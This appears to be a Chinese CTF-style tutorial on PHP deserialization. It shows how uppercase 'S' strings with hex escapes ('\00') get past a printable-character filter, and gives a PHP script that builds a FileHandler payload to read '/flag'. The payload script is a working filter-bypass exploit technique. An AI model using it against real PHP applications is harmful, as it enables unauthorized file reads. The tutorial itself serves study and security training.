PHP反序列化3(属性绕过)

考点3:私有属性绕过+十六进制绕过

<aside> ????

十六进制绕过

</aside>

大写 S模式下,字符可以用/和十六进制表示。%00即chr(0)就可以用\00表示。

<aside> ????

部分例题

</aside>

 <?php

highlight_file(__FILE__);

class FileHandler {

    protected $op;
    protected $filename;
    protected $content;
............
............
............
function is_valid($s) {
    for($i = 0; $i < strlen($s); $i++)
        if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
            return false;
    return true;
}

构造payload:

<?php
class FileHandler {

   protected  $op = 2;
   protected  $filename = "/flag";
   protected  $content = "aaa";
}

function is_valid($s) {
    for($i = 0; $i < strlen($s); $i++)
        if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
            return false;
    return true;
}

$a = new FileHandler();
$b = serialize($a);
$b=str_replace(chr(0), '\\00', $b);
$b=str_replace('s:5', 'S:5', $b);
$b=str_replace('s:11', 'S:11', $b);
$b=str_replace('s:10', 'S:10', $b);
echo $b;

上一篇:RabbitMQ的相关题-一、 MQ的作⽤及应⽤场景


下一篇:【Linux进程间通信】Linux匿名管道详解:构建进程间通信的隐形桥梁